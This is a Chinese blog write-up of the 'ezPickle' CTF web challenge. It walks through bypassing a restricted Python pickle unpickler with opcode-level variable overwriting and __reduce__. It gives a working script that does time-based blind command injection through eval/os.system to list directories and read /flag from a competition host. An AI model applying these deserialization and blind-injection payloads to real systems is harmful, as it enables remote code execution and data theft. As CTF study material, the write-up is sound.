Loading

“强网”拟态防御国际精英挑战赛-预选赛-web-ezPickle

ezPickle

貌似拿到了非预期解

首先下载源码

app.py

from flask import Flask, request, session, render_template_string, url_for,redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from config import notadmin

app = Flask(__name__)

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))


def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def index():
    info = request.args.get('name', '')
    if info is not '':
        x = base64.b64decode(info)
        User = restricted_loads(x)
    return render_template_string('Hello')


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=5000)

这里存在pickle反序列化

config.py

notadmin={"admin":"no"}

def backdoor(cmd):
    if notadmin["admin"]=="yes":
        s=''.join(cmd)
        eval(s)

存在一个可以执行eval的后门

 

简单分析代码,就是传入name参数,对他进行反序列化,这里注意他重写了find_class方法,当反序列化的时候会对模块就行检测,只允许config模块,同时序列化对象名字不含有 _

我们的目的很显然是执行config.py里的backdoor函数,但是反序列怎么执行到这个函数?这里利用__reduce__

__reduce__,指令码为R
取当前栈的栈顶记为args,然后把它弹掉。
取当前栈的栈顶记为f,然后把它弹掉。
以args为参数,执行函数f,把结果压进当前栈。

我们可以自己构件一个类,写它的__reduce__方法,利用__reduce__来调用backdoor函数

 

 

但是还有一个问题没解决,就是backdoor函数有一句话: if notadmin["admin"]=="yes"

我们要想办法让admin等于yes,这里用到ezPickle的变量覆盖,

尝试构造

\x80\x03cconfig\nnotadmin\n(Vadmin\nVyes\nu0

用pickletools分析:

就是取config里的notadmin,同时将admin和yes压入栈,在组合,输出。这样就完成对变量的覆盖。

同时再把前面反序列化的结果加到构造语句后面(注意开头重复去掉),即可实现执行eval函数(没回显不好测试)

 

 

 

但是如何利用eval呢?经过测试发现环境不能连外网,同时没回显,也不好读文件(写文件不知道可不可以,写了也不好读,但是估计不行,毕竟是静态靶机)。

通过后台扫描可以发现后台,但是要输入正确的pin码。

这里我估计我非预期了(毕竟没求出pin码,进入后台)

这里我采用盲注来尝试读取文件目录:

if [ `ls /|awk "NR=={0}"|cut -c {1} ` == {2} ];then sleep 3 ;fi

这串命令是打印根目录,awk "NR=={0}"是取第几行,cut -c是取第几个字符,在和每一个字符比较,如果成功就停止3秒

但是经过测试可以发现基本不存在停止,后来经过大量测试发现,它可能过滤==

因为  `ls /|awk "NR=={0}"|cut -c {1} ` != {2}  会发现有明显的停顿,那就反向来做,利用不等于,停止的是错误的,反之立刻有回复的是正确的

 

构造脚本:

config.py

notadmin={"admin":"yes"}

def backdoor(cmd):
    if notadmin["admin"]=="yes":
        s=''.join(cmd)
        print(s)
        eval(s)

main.py

import pickle
import pickletools
import io
import sys
import base64
import random
import urllib
import os
import subprocess
import requests
import time
import string
import __main__
from urllib import parse
from config import backdoor



str='-'+'+'+'_'+'{'+'}'+string.ascii_letters+string.digits
result=""
for i in range(1,5):
    key=0
    for j in range(1,50):
        if key==1:
            break
        for n in str:
            payload='if [ `ls /|awk "NR==1"|cut -c {1} ` != {2} ];then sleep 0.15 ;fi'.format(i,j,n)
            #payload='if [ `cat /flag|cut -c {1} ` != {2} ];then sleep 0.15 ; fi'.format(i,j,n)

            class aaa(object):
                def __reduce__(self):
                    return (backdoor,("__import__('os').system('"+payload+"')",))
            print(payload)
            k="gANjY29uZmlnCm5vdGFkbWluCihWYWRtaW4KVnllcwp1MA=="
            t=(base64.b64decode(k))
            a = aaa()
            a=(pickle.dumps(a,protocol=3))
            a=a[2:]
            a=t+a
            #print(a)
            b=base64.b64encode(a)
            c= bytes.decode(b)
            #print(c)
           
            url="http://124.71.183.254:32769/?name="+c
            try:
                requests.get(url,timeout=(0.15 ,0.15 ))
                result=result+n
                print(result)
                break
            except:
                continue
            if n=='9':
                key=1
    result+=" "

 

 

打印目录:

 

 

 

 

查询flag:

 

 

 

hint:比赛当天环境很恶劣(因此又加了3个靶机),因此sleep时间可以修改

 

posted @ 2021-10-25 12:15  Aninock  阅读(115)  评论(0编辑  收藏  举报